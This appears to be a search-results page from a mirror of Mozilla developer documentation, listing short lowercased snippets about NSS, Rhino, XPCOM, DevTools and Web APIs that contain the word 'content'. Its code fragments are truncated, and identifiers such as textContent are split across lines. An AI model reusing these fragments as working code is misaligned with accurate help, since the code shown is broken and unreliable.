resentation css dynamicexpressions generallayout scriptsandlimits tablesandmatrices tokenelements topics accents bidi elementarymathexamples embellishedop largeop linebreak nesting stretchychars whitespace torturetests errorhandling original document information author(s): frédéric wang other contributors: last updated date: may 26, 2010 copyright information: portions of this
content are © 2010 by individual mozilla.org contributors;
content available under a creative commons license | details.
Mozilla Web Services Security Model
allow all services on a site to be accessed from any web page note that this is only a sensible thing to do if nothing on the site serves
content based on cookies, http authentication, ip address / domain origin, or any other method of authentication.
Mozilla Development Tools
original document information author(s): myk melez last updated date: november 8, 2005 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Mozilla
we need real
content added here.
Investigating CSS Performance
two counts are collected which allow for an estimation of the amount of work being done during restyle: resolvestyleforcount this is incremented everytime that we do style resolution on an element
contentenumfunccount this is incremented roughly for every rule that we test against time during restyle can be spent in a bunch of places.
Refcount tracing and balancing
note: due to an issue with the sandbox on windows (bug 1345568), refcount logging currently requires the moz_disable_
content_sandbox environment variable to be set.
Scroll-linked effects
scroll customization: introduces a new api for
content to dictate how a scroll delta is applied and consumed.
browser.dom.window.dump.file
type:string default value:none exists by default: no application support: gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) status: active; last updated 2012-03-18 introduction: pushed to nightly on 2009-04-24 bugs: bug 489938 values the value holds the file system path for the file in which the
content of the window.dump() calls get written, e.g.
ui.textSelectBackground
ui.textselectbackground saves the color in which the background of a text selection in the user interface or in
content will be styled.
Certificate functions
er cert_getcertuid mxr 3.2 and later cert_getclassicocspdisabledpolicy mxr 3.12 and later cert_getclassicocspenabledhardfailurepolicy mxr 3.12 and later cert_getclassicocspenabledsoftfailurepolicy mxr 3.12 and later cert_getcommonname mxr 3.2 and later cert_getcountryname mxr 3.2 and later cert_getdb
contentversion mxr 3.2 and later cert_getdefaultcertdb mxr 3.2 and later cert_getdomaincomponentname mxr 3.2 and later cert_getfirstemailaddress mxr 3.7 and later cert_getlocalityname mxr 3.2 and later cert_getnextemailaddress mxr 3.7 and later cert_getnextgeneralname mxr 3.10 and later cert_getnextna...
JSS Provider Notes
contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss 3.2 implements several jce (java cryptography extension) algorithms.
Mozilla-JSS JCA Provider notes
contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss implements several jce (java cryptography extension) algorithms.
NSS Memory allocation
see the prototype at http://mxr.mozilla.org/nspr/source/n.../ds/plarenas.h a program should call that function at the very end, after having shutdown nss and nspr, to really free the
contents of the free list.
NSS_3.11.10_release_notes.html
nss 3.11.10 release notes 2008-12-10 newsgroup: <ahref="news: mozilla.dev.tech.crypto"="" news.mozilla.org="">mozilla.dev.tech.crypto</ahref="news:>
contents introduction distribution information bugs fixed documentation compatibility feedback introduction network security services (nss) 3.11.10 is a patch release for nss 3.11.
NSS_3.12.1_release_notes.html
nss 3.12.1 release notes 2008-09-05 newsgroup: mozilla.dev.tech.crypto
contents introduction distribution information new in nss 3.12.1 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.1 is a patch release for nss 3.12.
NSS 3.38 release notes
new functions in secitem.h secitem_makeitem - allocate and make an item with the requested
contents new macros in ssl.h ssl_record_size_limit - used to control the tls record size limit extension notable changes in nss 3.38 fixed cve-2018-0495 in bug 1464971.
NSS Sample Code Sample_1_Hashing
96]; unsigned char digest[64]; unsigned int len; unsigned int digestlen; hash_hashtype hashtype; hashcontext *hashcontext = null; hashtype = hash_gethashtypebyoidtag(hashoidtag); hashcontext = hash_create(hashtype); if (hashcontext == null) { return secfailure; } do { hash_begin(hashcontext); /* incrementally hash the file
contents */ while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { hash_update(hashcontext, ibuf, nb); } hash_end(hashcontext, digest, &len, 64); /* normally we would write it out in binary with * nb = pr_write(outfile, digest, len); * but for illustration let's print it in hex.
NSS Sample Code Utilities_1
password * token_2_name:its_password * */ char *filepasswd(pk11slotinfo *slot, prbool retry, void *arg) { char* phrases, *phrase; prfiledesc *fd; print32 nb; char *pwfile = arg; int i; const long maxpwdfilesize = 4096; char* tokenname = null; int tokenlen = 0; if (!pwfile) return 0; if (retry) { return 0; /* no good retrying - the file
contents will be the same */ } phrases = port_zalloc(maxpwdfilesize); if (!phrases) { return 0; /* out of memory */ } fd = pr_open(pwfile, pr_rdonly, 0); if (!fd) { fprintf(stderr, "no password file \"%s\" exists.\n", pwfile); port_free(phrases); return null; } nb = pr_read(fd, phrases, maxpwdfilesize); pr_close(fd); if (nb == ...
Hashing - sample 1
nb; unsigned char ibuf[4096]; unsigned char digest[64]; unsigned int len; hash_hashtype hashtype; hashcontext *hashcontext = null; hashtype = hash_gethashtypebyoidtag(hashoidtag); hashcontext = hash_create(hashtype); if (hashcontext == null) { return secfailure; } do { hash_begin(hashcontext); /* incrementally hash the file
contents */ while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { hash_update(hashcontext, ibuf, nb); } hash_end(hashcontext, digest, &len, 64); /* normally we would write it out in binary with * nb = pr_write(outfile, digest, len); * but for illustration let's print it in hex.
Utilities for nss samples
ssword * token_2_name:its_password * */ char * filepasswd(pk11slotinfo *slot, prbool retry, void *arg) { char* phrases, *phrase; prfiledesc *fd; print32 nb; char *pwfile = arg; int i; const long maxpwdfilesize = 4096; char* tokenname = null; int tokenlen = 0; if (!pwfile) return 0; if (retry) { return 0; /* no good retrying - the files
contents will be the same */ } phrases = port_zalloc(maxpwdfilesize); if (!phrases) { return 0; /* out of memory */ } fd = pr_open(pwfile, pr_rdonly, 0); if (!fd) { fprintf(stderr, "no password file \"%s\" exists.\n", pwfile); port_free(phrases); return null; } nb = pr_read(fd, phrases, maxpwdfilesize); pr_close(fd); if (nb == ...
sample1
ned char digest[64]; unsigned int len; unsigned int digestlen; hash_hashtype hashtype; hashcontext *hashcontext = null; hashtype = hash_gethashtypebyoidtag(hashoidtag); hashcontext = hash_create(hashtype); if (hashcontext == null) { return secfailure; } do { hash_begin(hashcontext); /* incrementally hash the file
contents */ while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { hash_update(hashcontext, ibuf, nb); } hash_end(hashcontext, digest, &len, 64); /* normally we would write it out in binary with * nb = pr_write(outfile, digest, len); * but for illustration let's print it in hex.
NSS PKCS11 Functions
optimizespace - allocate smaller hash tables and lock tables.when this flag is not specified, softoken will allocatelarge tables to prevent lock
contention.
Migration to HG
in addition for nss, we have merged the
contents of directories mozilla/dbm and mozilla/security/dbm into the new directory lib/dbm.
NSS environment variables
3.7 nss_sdb_use_cache string ("no","yes","auto") controls whether nss uses a local cache of sql database
contents.
NSS tools : certutil
it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the
contents of the key database, or delete key pairs within the key database.
NSS tools : vfychain
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module
contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
sslcrt.html
never alter the
contents of a certificate or key structure.
sslkey.html
never alter the
contents of a certificate or key structure.
NSS Tools
source, documentation, tasks/plans sslstrength ssl strength documentation ssltap 3.2 proxy requests for an ssl server and display the
contents of the messages exchanged between the client and server.
NSS_3.12.3_release_notes.html
nss 3.12.3 release notes 2009-04-01 newsgroup: mozilla.dev.tech.crypto
contents introduction distribution information new in nss 3.12.3 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.3 is a patch release for nss 3.12.
NSS Tools certutil
it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the
contents of the key database, or delete key pairs within the key3.db file.
certutil
it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the
contents of the key database, or delete key pairs within the key database.
NSS tools : signver
the signature verification tool can also display the
contents of the signed object.
NSS tools : vfychain
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module
contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
Necko FAQ
todo original document information author(s): gagan saksena last updated date: december 21, 2001 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Proxies in Necko
original document information author(s): christian biesinger last updated date: april 8, 2005 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Rhino Debugger
setting and clearing breakpoints the main desktop of the debugger contains file windows which display the
contents of each script you are debugging.
Rhino license
license for portions of the rhino debugger additionally, some files (currently the
contents of toolsrc/org/mozilla/javascript/tools/debugger/treetable/) are available under the following license: * copyright 1997, 1998 sun microsystems, inc.
Performance Hints
similarly, new array("a", "b", "c") or ["a", "b", "c"] will cause a 3-element array to be allocated to hold the
contents of the javascript array.
Rhino serialization
original document information author: norris boyd last updated date: november 15, 2006 copyright information: portions of this
content are © 1998–2006 by individual mozilla.org contributors;
content available under a creative commons license | details.
Rhino shell
-f script-filename-or-url reads script-filename-or-url
content and execute it as a javascript script.
Statistics API
when logging to a file is used in combination with multi-process firefox (e10s) it is necessary to set security.sandbox.
content.level = 0, otherwise the
content process will crash.
JS::CallArgs
the initial
contents of this value are unspecified.
JSErrorReport
this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its
contents.
JSPrincipals
the data
content of a principals object is defined by the application, which creates instances of jsprincipals, initializes their refcount fields to 1, and passes them into the engine through the js_...forprincipals functions.
JSPropertyDescriptor
a descriptor is used to declare whether an attribute can be written to whether it can delete an object that can enumerate and specify
content.
JSVAL_IS_STRING
to access the
content of a string jsval, use jsval_to_string, js_getstringchars, and js_getstringlength.
JS_CompareStrings
if the strings are identical in
content and length, js_comparestrings stores 0 in *result.
JS_DumpNamedRoots
js_dumpnamedroots provides a way for the application to access the
contents of that table.
JS_EncodeString
note that for non-ascii strings, if js_cstringsareutf8 is false, these functions can return a corrupted copy of the
contents of the string.
JS_NewExternalString
the array must be populated with the desired character data before js_newexternalstring is called, and the array must remain in memory, with its
contents unchanged, for as long as the javascript engine needs to hold on to it.
JS_NewScriptObject
as long as the script object is reachable, the jsscript and its components are protected from garbage collection; when the script object is collected, the jsscript and its
contents are freed.
JS_NewStringCopyZ
description js_newstringcopyz allocates space for a new javascript string and its underlying storage, and then copies the
contents of a null-terminated character array, s, into the new string.
TPS Tests
ox_binary_path% additionally, omitting a --testfile parameter will cause it to run all tps tests listed in services/sync/tests/tps/all_tests.json an example on osx, for running just the test_sync.js testfile against a locally built firefox (where the mozconfig set the objdir to obj-ff-artifact): runtps --debug --testfile test_sync.js --binary obj-ff-artifact/dist/nightly.app/
contents/macos/firefox running tps against stage, or dev fxa tps can be configured using the $tps_venv_path/config.json file.
Thread Sanitizer
adjusting the build configuration create the build configuration file .mozconfig with the following
content in your mozilla-central directory: mk_add_options moz_objdir=@topsrcdir@/objdir-ff-tsan mk_add_options moz_make_flags=-j12 # enable llvm specific code and build workarounds ac_add_options --enable-thread-sanitizer # if clang is already in your $path, then these can simply be: # export cc=clang # export cxx=clang++ export cc="/path/to/clang" export cxx="/path/to/clang++" # llvm-symbolizer d...
WebReplayRoadmap
recording firefox ui (partially implemented) right now only
content tabs can be recorded and replayed.
Browser security
secure development guidelinesthe following
content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla.security and the jar protocolthis article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web
content.
ROLE_ALERT
assistive technologies typically respond to the role by reading the entire onscreen
contents of containers advertising this role.
XForms Accessibility
he wrote: navindex was in xforms - it was stripped out as it was believed the focus model was dependent on the
content which used it.
Using XPCOM Components
the webbrowserfind component components are used all over - in high-level browser-like functionality such as nswebbrowserfind, which provides find() and findnext() methods for finding
content in web pages, and in low-level tasks such as the manipulation of data.
Creating XPCOM components
service modifying paths with nsifile manipulating files with nsifile using nsilocalfile for reading data processing the white list data iweblock method by method lock and unlock addsite removesite setsites getnext getsites hasmoreelements finishing the component using frozen interfaces copying interfaces into your build environment implementing the nsi
contentpolicy interface receiving notifications implementing the nsi
contentpolicy uniform resource locators checking the white list creating nsiuri objects building the weblock ui user interface package list client code overview xul the xul document the locking ui site adding ui weblock.xul overlaying new user interface into mozilla weblockoverlay.xul oth...
XPCOM guide
the problem would not exist with java's interfaces).making cross-thread calls using runnablesin the mozilla platform, most activities such as layout, dom operations,
content javascript, and chrome javascript run on the main thread.
Components.utils.createObjectIn
for example, to create a new object in the compartment identified by
contentwindow: var newobject = new
contentwindow.object(); but it is really needeed from firefox 30 onwards when trying to manipulate the dom window.
HOWTO
onent returned failure code: 0x80040111 (ns_error_not_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/
content/file.jsm"); see: http://mxr.mozilla.org/comm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> // <https://bugzilla.mozilla.org/show_bug.cgi?id=546628> let cc = components.classes; let ci = components.interfaces; // register resource://app/ uri let i...
nsFixedCString
methods constructors void nsfixedcstring(char*, pruint32) - source @param data fixed-size buffer to be used by the string (the
contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters char* data pruint32 storagesize void nsfixedcstring(char*, pruint32, pruint32) - source parameters char* data pruint32 storagesize pruint32 length operator= nscstring& operator=(const nscstring&) -...
nsFixedString
methods constructors void nsfixedstring(prunichar*, pruint32) - source @param data fixed-size buffer to be used by the string (the
contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters prunichar* data pruint32 storagesize void nsfixedstring(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 storagesize pruint32 length operator= nsstring& operator=(const ...
Realloc
remarks if aptr is non-null, then its
contents will be unchanged to the minimum of the old and new sizes.
IAccessibleImage
the user can edit the
content that includes an image and therefore the user needs to be able to review the image's position.
amIInstallTrigger
constant value description skin 1 locale 2
content 4 package 7 methods enabled() tests if installation is enabled.
imgICache
findentryproperties() find properties used to get properties such as 'type' and '
content-disposition' 'type' is a nsisupportscstring containing the images' mime type such as 'image/png' '
content-disposition' will be a nsisupportscstring containing the header if you call this before any data has been loaded from a uri, it will succeed, but come back empty.
imgIContainer
(note that we might not actually be drawing the full image -- we might be restricted by asubimage -- but we still need the full image's viewport-size in order for svg images with the "viewbox" attribute to position their
content correctly.) aflags flags of the flag_* variety.
mozIJSSubScriptLoader
jsval loadsubscript( in string url, in object targetobj optional, in string charset optional, ); example let context = {}; services.scriptloader.loadsubscript("chrome://my-package/
content/foo-script.js", context, "utf-8" /* the script's encoding */); parameters url the url pointing to the script to load.
mozIStorageService
if cache
contention is expected, for instance when operating on a database from multiple threads, using unshared connections may be a performance win.
nsIUpdate
detailsurl astring the url to a page which offers details about the
content of this update.
queryReferent
this
content is now available at nsiweakreference.queryreferent().
nsIWebBrowserChrome
this flag is only meaningful if chrome_openas_chrome is set;
content windows should not be dependent.
nsIWebBrowserFindInFrames
rootsearchframe nsidomwindow frame within which to confine the search (normally the
content area frame).
nsIWebNavigationInfo
example let webnavigationinfo_service = components.classes["@mozilla.org/webnavigation-info;1"] .getservice(components.interfaces.nsiwebnavigationinfo); let support_code = webnavigationinfo_service.istypesupported(
contenttype, null); if (support_code == webnavigationinfo_service.unsupported) { dump("unsupported
content-type: not displaying in the browser\n"); } see also nsiwebnavigation ...
nsIWebPageDescriptor
docshell/base/nsiwebpagedescriptor.idlscriptable this interface allows
content being displayed in one window to be loaded into another window without refetching it from the network.
nsIWindowWatcher
xul application or mozilla extension, if the window object is unavailable (for example, when opening a window from xpcom component code), you might want to use this interface for opening a new window: var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/
content/about.xul", "aboutmyextension", "chrome,centerscreen", null); note: versions of gecko before gecko 2.0 would ignore some of the chrome flags when opening a chrome window without an opener window, instead behaving as if the "all" flag was present.
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the event listeners used when uploading data using the xmlhttprequest object.
nsIXMLHttpRequestUpload
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the features needed when uploading data using nsixmlhttprequest.
nsIXSLTException
content/xslt/public/nsixsltexception.idlscriptable please add a summary to this article.
nsIXSLTProcessor
content/xslt/public/nsixsltprocessor.idlscriptable xslt processor inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/document-transformer;1?type=xslt.
nsIXULBrowserWindow
this may be used, for example, to redirect links into new tabs or windows when it's not desirable to replace the
content in the current tab (such as when the link is clicked in an app tab).
nsIZipEntry
content/base/public/nsidomserializer.idlscriptable please add a summary to this article.
nsIAbCard/Thunderbird3
type jobtitle, department, company _aimscreenname dates: anniversaryyear, anniversarymonth, anniversaryday birthyear, birthmonth, birthday webpage1 (work), webpage2 (home) custom1, custom2, custom3, custom4 notes integral properties: lastmodifieddate popularityindex prefermailformat (see nsiabprefermailformat) boolean properties: allowremote
content inherits from: nsiabitem method overview nsivariant getproperty(in autf8string name, in nsivariant defaultvalue); [noscript] astring getpropertyasastring(in string name); [noscript] autf8string getpropertyasautf8string(in string name); [noscript] pruint32 getpropertyasuint32(in string name); [noscript] boolean getpropertyasbool(in string name)...
XPCOM reference
the
contents herein are oriented primarily toward extension developers and people embedding xpcom in other projects.
Using nsIClassInfo
original document information authors: mike shaver, justin lebar last updated date: july 25, 2011 copyright information: portions of this
content are © 1998–2011 by individual mozilla.org contributors;
content available under a creative commons license | details.
Weak reference
see also the source xpcom/base/nsiweakreference.idl xpcom/glue/nsweakreference.h xpcom/glue/nsweakreference.cpp xpcom ownership guidelines using nscomptr original document information author: scott collins last updated date: september 23, 2000 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
XPCOM ownership guidelines
portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
wrappedJSObject
there are two kinds of xpconnect wrappers that support the wrappedjsobject property: xpcnativewrappers which are used to protect the chrome code working with
content objects.
XPIDL Syntax
see xpidl main page for more links and introductory
content.
XPIDL
the
contents of the parentheses of a native type declaration (although native declarations without parentheses are parsable, i do not trust that they are properly handled by the xpidl handlers) is a string equivalent to the c++ type.
Mozilla technologies
at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed
content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code...
Gloda examples
this
content covers features introduced in thunderbird 3 this page provides some examples for using gloda.
LDAP Support
original document information author(s): scott macgregor copyright information: portions of this
content are © 1998–2010 by individual mozilla.org contributors;
content available under a creative commons license | details.
Spam filtering
warning: the
content of this article may be out of date.
Memory Management
what won't keep objects alive it's important to note that getting direct access to the
contents of a cdata object using address(), addressofelement(), or
contents, will result in a cdata object that does not hold its referent alive.
Type conversion
implicit convert in js-ctypes, data could be converted implicitly when passing to or returning from a functiontype call, or setting pointer
content, an array element or a struct field.
ctypes.open
if the native file is located at chrome://youraddon/
content/mysubfolder/mycfunctionsforunix.so then it is converted to a file uri like this: components.utils.import("resource://gre/modules/services.jsm"); var cr = components.classes['@mozilla.org/chrome/chrome-registry;1'].getservice(components.interfaces.nsichromeregistry); var chromeuri_mylib = services.io.newuri('chrome://youraddon/
content/mysubfolder/mycfunctionsforunix.so', 'utf-8', null); var loca...
PointerType
pointertype cdata properties property type description
contents cdata reading this property returns a cdata object referring to the pointed-to
contents of the object.
Plugin Roadmap for Firefox - Plugins
see also mozilla firefox october 2015 - npapi plugins in firefox july 2016 - reducing adobe flash usage in firefox july 2017 - firefox roadmap for flash end-of-life adobe flash november 2015 - flash, html5 and open web standards july 2017 - flash & the future of interactive
content google chrome flash roadmap sep 2013 - saying goodbye to our old friend npapi may 2014 - update on npapi deprecation november 2014 - the final countdown for npapi august 2016 - flash and chrome december 2016 - roll-out plan for html5 by default july 2017 - saying goodbye to flash in chrome microsoft edge and internet explorer april 2016 - putting users in control of flash decembe...
Preferences System
ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane
content can be specified inline or an external chrome uri supplied for pane
content to be loaded in via a dynamic overlay.
Debugger.Memory - Firefox Developer Tools
function properties of the debugger.memory.prototype object memory use analysis exposes implementation details memory analysis may yield surprising results, because browser implementation details that are transparent to
content javascript often have visible effects on memory consumption.
Debugger.Object - Firefox Developer Tools
for example, in firefox, code in privileged compartments sees
content dom element objects without redefinitions or extensions made to that object’s properties by
content code.
Debugger-API - Firefox Developer Tools
by design, it ought not to introduce security holes, so in principle it could be made available to
content as well; but it is hard to justify the security risks of the additional attack surface.
Debugger.Object - Firefox Developer Tools
for example, in firefox, code in privileged compartments sees
content dom element objects without redefinitions or extensions made to that object's properties by
content code.
Deprecated tools - Firefox Developer Tools
starting firefox 72, you can import a javascript file
content in the console input with ctrl + o (cmd + o on macos), as well as saving the console input
content to a file using ctrl + s (cmd + s on macos).
JSON viewer - Firefox Developer Tools
if you open a json file in the browser, or view a remote url with the
content-type set to application/json, it is parsed and given syntax highlighting.
All keyboard shortcuts - Firefox Developer Tools
command windows macos linux focus on the search box in the css pane ctrl + f cmd + f ctrl + f clear search box
content (only when the search box is focused, and
content has been entered) esc esc esc step forward through properties and values tab tab tab step backward through properties and values shift + tab shift + tab shift + tab start editing property or value (rules view only, when a property or value is selected, but not already being edited) enter or ...
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
if you click on the item, the display shifts to show details about that element: this view shows information about the calculations for the size of the selected flex item: a diagram visualizing the sizing of the flex item
content size - the size of the component without any restraints imposed on it by its parent flexibility - how much a flex item grew or shrunk based on its flex-grow value when there is extra free space or its flex-shrink value when there is not enough space minimum size (only appears when an item is clamped to its minimum size) - the minimum
content size of a flex item when there is no more free space ...
Examine and edit CSS - Firefox Developer Tools
for example, copying the changes in the preceding image, you get the following: .text-
content p { box-sizing:border-box; max-width:24rem; text-decoration: underline; color: cadetblue; font-weight: bold; } add rules you can add new rules in the rules view.
Animation inspector example: Web Animations API - Firefox Developer Tools
html
content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" id="icon"/> <span id="note">firefox developer edition</span> </div> css
content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } javascript
content var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(100%)',...
Work with animations - Firefox Developer Tools
right-click in the box and select "inspect element" make sure the selected element is the <div class="channel"> switch over to the "animations" tab play the animation let's take a closer look at the
contents of the animation inspector here: it shows a synchronized timeline for every animation applied to the selected element or its children.
Page inspector keyboard shortcuts - Firefox Developer Tools
command windows macos linux focus on the search box in the css pane ctrl + f cmd + f ctrl + f clear search box
content (only when the search box is focused, and
content has been entered) esc esc esc step forward through properties and values tab tab tab step backward through properties and values shift + tab shift + tab shift + tab start editing property or value (rules view only, when a property or value is selected, but not already being edited) enter or ...
Paint Flashing Tool - Firefox Developer Tools
repaints and responsiveness when the browser renders a web page it parses the html and css, determines how to lay it out, and then paints it to actually display the
content on the screen.
Settings - Firefox Developer Tools
enable browser chrome and add-on debugging toolboxes enable you to use developer tools in the context of the browser itself, and not only web
content.
Toolbox - Firefox Developer Tools
main pane the
content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected.
Validators - Firefox Developer Tools
applications and services devedge web tune-up wizard this interface to w3c services guides beginning-to-intermediate web authors through the process of updating
content to support netscape 7.x, mozilla and other browsers that support w3c standards.
AbortController.abort() - Web APIs
}).catch(function(e) { reports.text
content = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror.
AbortController.signal - Web APIs
}).catch(function(e) { reports.text
content = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror.
AbortController - Web APIs
}).catch(function(e) { reports.text
content = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with a domexception named aborterror.
AbortSignal - Web APIs
}).catch(function(e) { reports.text
content = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror.
Attr.localName - Web APIs
html
content <button id="example">click me</button> javascript
content const element = document.queryselector("#example"); element.addeventlistener("click", function() { const attribute = element.attributes[0]; alert(attribute.localname); }); notes the local name of an attribute is the part of the attribute's qualified name that comes after the colon.
AudioContext.resume() - Web APIs
susresbtn.onclick = function() { if(audioctx.state === 'running') { audioctx.suspend().then(function() { susresbtn.text
content = 'resume context'; }); } else if(audioctx.state === 'suspended') { audioctx.resume().then(function() { susresbtn.text
content = 'suspend context'; }); } } specifications specification status comment web audio apithe definition of 'resume()' in that specification.
AudioContext.suspend() - Web APIs
susresbtn.onclick = function() { if(audioctx.state === 'running') { audioctx.suspend().then(function() { susresbtn.text
content = 'resume context'; }); } else if(audioctx.state === 'suspended') { audioctx.resume().then(function() { susresbtn.text
content = 'suspend context'; }); } } specifications specification status comment web audio apithe definition of 'close()' in that specification.
AudioContextLatencyCategory - Web APIs
by using these strings rather than a numeric value when specifying a latency to a audiocontext, you can allow the user agent to select an appropriate latency for your use case that makes sense on the device on which your
content is being used.
AudioTrack.kind - Web APIs
syntax var trackkind = audiotrack.kind; value a domstring specifying the type of
content the media represents.
BatteryManager.charging - Web APIs
example html
content <div id="charging">(charging state unknown)</div> javascript
content navigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').text
content = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.chargingTime - Web APIs
example html
content <div id="chargingtime">(charging time unknown)</div> javascript
content navigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').text
content = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
example html
content <div id="dischargingtime">(discharging time unknown)</div> javascript
content navigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').text
content = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial de...
BatteryManager.level - Web APIs
example html
content <div id="level">(battery level unknown)</div> javascript
content navigator.getbattery().then(function(battery) { var level = battery.level; document.queryselector('#level').text
content = level; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingchange - Web APIs
example html
content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript
content navigator.getbattery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').text
content = battery.level; document.queryselector('#chargingtime').text
content = battery.chargingtime; } }); specifications specification status comment bat...
BatteryManager.onchargingtimechange - Web APIs
example html
content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript
content navigator.getbattery().then(function(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').text
content = battery.level; document.queryselector('#chargingtime').text
content = battery.chargingtime; } }); specifications specification statu...
BatteryManager.ondischargingtimechange - Web APIs
example html
content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript
content navigator.getbattery().then(function(battery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').text
content = battery.level; document.queryselector('#chargingtime').text
content = battery.chargingtime; } }); specifications spe...
BatteryManager.onlevelchange - Web APIs
example html <div id="level">(battery level unknown)</div> <div id="statebaterry">(charging state unknown)</div> javascript navigator.getbattery().then(function(battery) { battery.onlevelchange = function(){ document.queryselector('#level').text
content = battery.level; if(battery.charging) { document.queryselector('#statebaterry').text
content = "charging time: " + (battery.chargingtime / 60); } else { document.queryselector('#statebaterry').text
content = "discharging time: " + (battery.dischargingtime / 60); } }; }); specifications specification status comment b...
Blob.arrayBuffer() - Web APIs
the arraybuffer() method in the blob interface returns a promise that resolves with the
contents of the blob as binary data contained in an arraybuffer.
Blob.text() - Web APIs
the text() method in the blob interface returns a promise that resolves with a string containing the
contents of the blob, interpreted as utf-8.
Body.body - Web APIs
the body read-only property of the body mixin is a simple getter used to expose a readablestream of the body
contents.
Body.bodyUsed - Web APIs
html
content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js
content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response)...
BroadcastChannel: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples this code uses addeventlistener to listen for messages and errors: const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.text
content = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel = new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.text
